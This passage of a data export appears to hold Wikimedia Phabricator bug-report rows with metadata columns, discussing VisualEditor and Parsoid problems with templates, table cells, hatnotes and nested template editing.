+… or something else?",,,1372451659,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,True,,,-1,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+235144,Updated TemplateData from transcluded items take a long time to show up,"As does the fr implementation. I guess the question here is ""how long does it take for TemplateData implementations to show up?""",,,1372423465,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0
+235139,Updated TemplateData from transcluded items take a long time to show up,"Belay that, {{tracked}} works.",,,1372423444,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ssksx6n4c7yondhu6cpg,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52369,Section edit links disappear following an unclosed {{,"This was seen in revisions prior to https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&diff=561926823&oldid=561926781 and fixed in that revision.
+
+For a reduced testcase see <https://test.wikipedia.org/wiki/Section_edit_links_bug2>. The cause seems to be the unclosed `{{`. Of course, this is broken wikitext, but the parser seems to be able to handle it fine (other than leaving out section edit links).
+
+Sorry I can't be more specific.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=73182",Medium,50.0,1372420380,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-ogwe6d555gi7xn3bq357,task_description,open,True,c1,2,False,False,,-1,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+52366,Templates that create part (but not all) of a table cell don't work,"Screenshot
+
+See screenshot; Windows 7, Firefox 21.0, on https://en.wikipedia.org/wiki/Rage_Against_the_Machine?veaction=edit
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50589
+
+**Attached**: {F11166}",Medium,50.0,1372417680,1374455443.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-bcblwti2swge5nlt24om,task_description,resolved,True,c1,2,False,False,True,-1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+234799,Templates that create part (but not all) of a table cell don't work,"This bug was raised five months earlier.
+
+*** This bug has been marked as a duplicate of bug 44498 ***",,,1374455443,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0
+234794,Templates that create part (but not all) of a table cell don't work,"Similar hack, but now on the table itself, instead of a table cell. See the Infobox of WikiProject Aircraft:
+
+https://en.wikipedia.org/wiki/BAC_One-Eleven",,,1373226373,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+234789,Templates that create part (but not all) of a table cell don't work,"FYI, we are considering a post-processing work-around in Parsoid that lets this class of templates render as expected, but might not let users edit those templated cells.
+
+Our longer-term goal is to move towards more self-contained templates. This won't happen over night, and we'll need the help of the editor community and bot authors.",,,1372783809,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+234785,Templates that create part (but not all) of a table cell don't work,"Bug 50589 is a different issue, so I reopened it and added detail there.",,,1372782144,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+234780,Templates that create part (but not all) of a table cell don't work,"**kwwilliams** wrote:
+
+50589 has been marked as a duplicate of this bug. I'm certain it's related, but I'm not certain it's a duplicate. *If* it is a duplicate, marking it as ""wontfix"" isn't an acceptable answer. 
+
+singlechart *does* return the leading | or !, depending on whether it has been ask to generate a row or a header row. It generates two row cells, separated by a |.",,,1372781691,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+234778,Templates that create part (but not all) of a table cell don't work,*** Bug 50589 has been marked as a duplicate of this bug. ***,,,1372781089,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+234775,Templates that create part (but not all) of a table cell don't work,*** Bug 50567 has been marked as a duplicate of this bug. ***,,,1372781074,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+234771,Templates that create part (but not all) of a table cell don't work,"I don't have precise figures right now, but know enough to be sure that a bot will be needed. This bot pass should also fix some other issues listed in http://www.mediawiki.org/wiki/Parsoid/limitations. Do you know a bot author who might be potentially interested in a task like this? We have it on our TODO list, but did not have the time to tackle it before the release.",,,1372733221,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0
+234765,Templates that create part (but not all) of a table cell don't work,"(In reply to comment #4)
+> This cannot easily be parsed in Parsoid while also retaining round-trip
+> information. And even if we could, this would be very hard to represent in
+> HTML so that the VisualEditor can present a sensible user interface for it. So
+> this will remain a limitation of Parsoid.
+
+I'd like to know how many pages are affected by this bug across Wikimedia wikis before it's marked wontfix. Re-opening this for now.",,,1372726569,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,False,,,0,,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+234759,Templates that create part (but not all) of a table cell don't work,"The issue is normally something of this form:
+
+{|
+| {{style-and-cell}}
+|}
+
+The transclusion returns some attributes and possibly table content.
+
+This cannot easily be parsed in Parsoid while also retaining round-trip information. And even if we could, this would be very hard to represent in HTML so that the VisualEditor can present a sensible user interface for it. So this will remain a limitation of Parsoid.
+
+This issue can however be avoided by changing the template to return the entire table cell including the leading pipe:
+
+{|
+{{style-and-cell}}
+|}
+
+with {{style-and-cell}} containing:
+
+| style=""the style"" | The cell content",,,1372722914,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+234755,Templates that create part (but not all) of a table cell don't work,"Parsoid bug, it doesn't seem to like {{won}} and {{nom}}, see http://parsoid.wmflabs.org/en/Rage_Against_the_Machine",,,1372722454,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+234748,Templates that create part (but not all) of a table cell don't work,See also https://en.wikipedia.org/wiki/Akon_discography?veaction=edit from bug 50532.,,,1372720867,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+234743,Templates that create part (but not all) of a table cell don't work,*** Bug 50532 has been marked as a duplicate of this bug. ***,,,1372720818,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bcblwti2swge5nlt24om,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+52363,VisualEditor: Hatnote templates not displaying properly,"How the hatnote appears in the VE when it is added
+
+This takes some effort to replicate, so bear with me; if you insert a hatnote at the beginning of a line, it renders improperly in the VisualEditor - despite rendering properly in the article text, /and/ in subsequent loads of the VE. Screenshots of each attached.
+
+As User:PamD adeptly summarises, ""if VE doesn't display the result of a change, or displays it looking wrong, editors are going to assume that their edit didn't work and struggle to ""fix"" it""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11145}",Medium,50.0,1372416900,1375118083.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-hadccnndpx3xlfcdq5x6,task_description,resolved,True,c1,2,False,False,True,-1,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+234589,VisualEditor: Hatnote templates not displaying properly,"Fair play; marking as duplicate.
+
+%%%*** This bug has been marked as a duplicate of bug 49784 ***%%%",,,1375118083,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hadccnndpx3xlfcdq5x6,task_subcomment,,True,c1,3,False,,,4,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0
+234585,VisualEditor: Hatnote templates not displaying properly,"So, I've read this a number of times and I'm not quite sure I know what you're getting at.
+
+Steps:
+
+1. Go into a page
+2. Click into a blank line; insert template ""Hatnote"", parameter 1 = ""Foo"".
+3. Template appears on its own line, as expected.
+4. Template saves on its own line, as expected.
+5. Page rendered with template in the right place, as expected
+6. Edit article.
+7. Template is still there in VisualEditor, as expected.
+
+Try two:
+
+1. Go into a page
+2. Click into the start of a non-blank line; insert template ""Hatnote"", parameter 1 = ""Foo"".
+3. Template appears at the start of the line, a little oddly as it's a <div>, because of bug 49784.
+4. Template saves at the start of the line, as expected.
+5. Page rendered with template on its own line, as expected.
+6. Edit article.
+7. Template is still there in VisualEditor at the start of the line, as before.
+
+I assume you mean that this is an issue because it doesn't show up on its own line? If so, this is just a plain duplicate of bug 49784.",,,1374878501,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hadccnndpx3xlfcdq5x6,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+234579,VisualEditor: Hatnote templates not displaying properly,"How the hatnote appears in subsequent VE loads.
+
+**Attached**: {F11148}",,,1372416940,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hadccnndpx3xlfcdq5x6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+234573,VisualEditor: Hatnote templates not displaying properly,"How the hatnote appears in ""read"" mode
+
+**Attached**: {F11146}",,,1372416924,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-hadccnndpx3xlfcdq5x6,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+52358,VisualEditor: backspacing sometimes inserts a breaking space,"See Kelvinsong's wonderfully detailed bug report at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=561944647#The_Chloroplast_Test.E2.80.94June_26_C
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1372414260,1562866092.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-bygkpi2cds2ycjzl4xyf,task_description,invalid,True,c1,2,False,False,False,-1,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+445979,VisualEditor: backspacing sometimes inserts a breaking space,"Perhaps I am dense, but I do not understand what this bug was about even after reading the linked discussion.",,,1429468968,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-bygkpi2cds2ycjzl4xyf,task_subcomment,,True,c1,3,True,,,93,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0
+52355,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Many templates serve merely as wrapper around free-form wikitext content. TemplateData specifies the parameter type ""content"" for this purpose.
+
+This task tracks the implementation in VisualEditor to provide an edit surface for editing the values of these parameter. Similar to how we already support rich editing of the content inside References.
+
+Use cases:
+* Wrap-templates. Such as message boxes, and the parameter-consuming variants of the ""something-start""/""something-end"" templates.
+* Nested infoboxes.
+* Simple infobox fields that support text but allow/encourage use of inline templates for formatting. Currently these expose raw wikitext to end-users.
+
+>>! @Ironholds wrote
+> A lot of infoboxes et al - the one on https://en.wikipedia.org/wiki/Fulgencio_(Modern_Family) comes to mind - have infoboxes /within/ the infoboxes that need editing. I'm not sure what the answer is here - it feels wrong, somehow, to offer an infinitely deep template inspector inside a template inspector inside...etc, but I can't think of another solution short of manually going around making the template namespace make sense or accepting that users will always have to learn markup, just not immediately.
+
+",Medium,50.0,1372412940,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-o63tibhphh5vfhjwesdx,task_description,open,True,c1,2,False,False,,-1,,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+1623159,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates",https://meta.wikimedia.org/wiki/Community_Wishlist_Survey_2021/Editing/Editing_templates_recursively,,,1606394741,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,386,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+1198564,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Basically, the central thing for me would be this:
+
+Some templates are difficult (infoboxes) and some templates are easy ({{[[ http://en.wikipedia.org/wiki/Template:Quote | Quote ]]}}, {{[[ https://en.wikipedia.org/wiki/Template:Lang-it | lang-it ]]}}). VE allows editing links and bold text directly as first-class content element, but all templates are seen by VE as templates and not as formatting, and forces users to edit their content using the dialog. The result is that it's easier to edit such templates in wiki syntax (if you know which parameter to change, of course) than in VE for everyone: both wiki syntax lovers and newer people who like VE.
+
+If VE could allow editing at least //some// simpler templates as just text, and treat them as custom formatting rather than a complex form, this would make editing much easier. Perhaps TemplateData could be modified to allow specifying some parameters as ""directly-editable"" or something.
+
+I understand it's not trivial and requires some development time, but it's worth revisiting this.",,,1545161395,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,285,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,1,1,1
+1194819,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Change 451020 abandoned by Bartosz Dziewoński:
+Working on Task #T52355 - ve.ui.MWTemplateDialog and ve.ui.MWParameterPage changed.
+
+Reason:
+Patch doesn't seem to actually do anything related to task T52355, no response from submitter
+
+[[https://gerrit.wikimedia.org/r/451020]]",,,1544646870,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,284,,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1118225,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Change 451020 had a related patch set uploaded (by Chris Barnard; owner: Chris Barnard):
+[mediawiki/extensions/VisualEditor@master] Working on Task #T52355 - ve.ui.MWTemplateDialog and ve.ui.MWParameterPage changed.
+
+[[https://gerrit.wikimedia.org/r/451020]]",,,1533659632,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,266,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+1035824,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","There is no facepalm token, so consider this little goat as the facepalm token, because still we literally force VE users to use wikicode for nested templates.",,,1521578028,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,246,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+1035822,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","There is no facepalm token, so consider this little goat as the facepalm token, because we literally force VE users to use wikicode for nested templates.",,,1521578012,,PHID-USER-dcexrhjioxqqsq4pdrfe,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,246,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+622141,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","> Wikitext button should look depressed when used. MW theme needs this to be improved mode generally. Need to avoid mode error
+
+Would a ButtonSelectWidget make sense here?",,,1456992621,,PHID-USER-gc5hdyw5p4np7atqjynz,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,139,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0
+621649,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates","Comments from discussion about this:
+
+* Wikitext button should look depressed when used. MW theme needs this to be improved mode generally. Need to avoid mode error
+* Important to remember that the types aren’t for validation, just hints – don’t frustrate the user if they want to over-ride, make it easy to replace.
+* Styling of wikitext mode needs improving.
+* Need to separate “allowing to use VE” from “helping with type hinting”
+* Flow has this issue too (switching mode) – share feature design?
+* Edge case (partial wikitext) for not being able to use VE isn’t very common, we believe?
+* One switch for the whole dialog?
+** Issues?
+** In Advanced mode? (alongside multi-template transclusion editing)
+* Possibly get rid of the (i) too, to simplify the clutter around boxes?
+",,,1456946077,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,True,,,139,,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+621561,"VisualEditor: Add support for editing templates' parameters as DOM elements (""visually""), including supporting nested templates",">>! In T52355#2079713, @Esanders wrote:
+> @Ironholds the page has become a disambig since you filed. Looking at the history were you linking to https://en.wikipedia.org/wiki/Fulgencio_(Modern_Family) originally?
+
+I fixed the link.",,,1456940930,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-o63tibhphh5vfhjwesdx,task_subcomment,,True,c1,3,False,,,139,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1
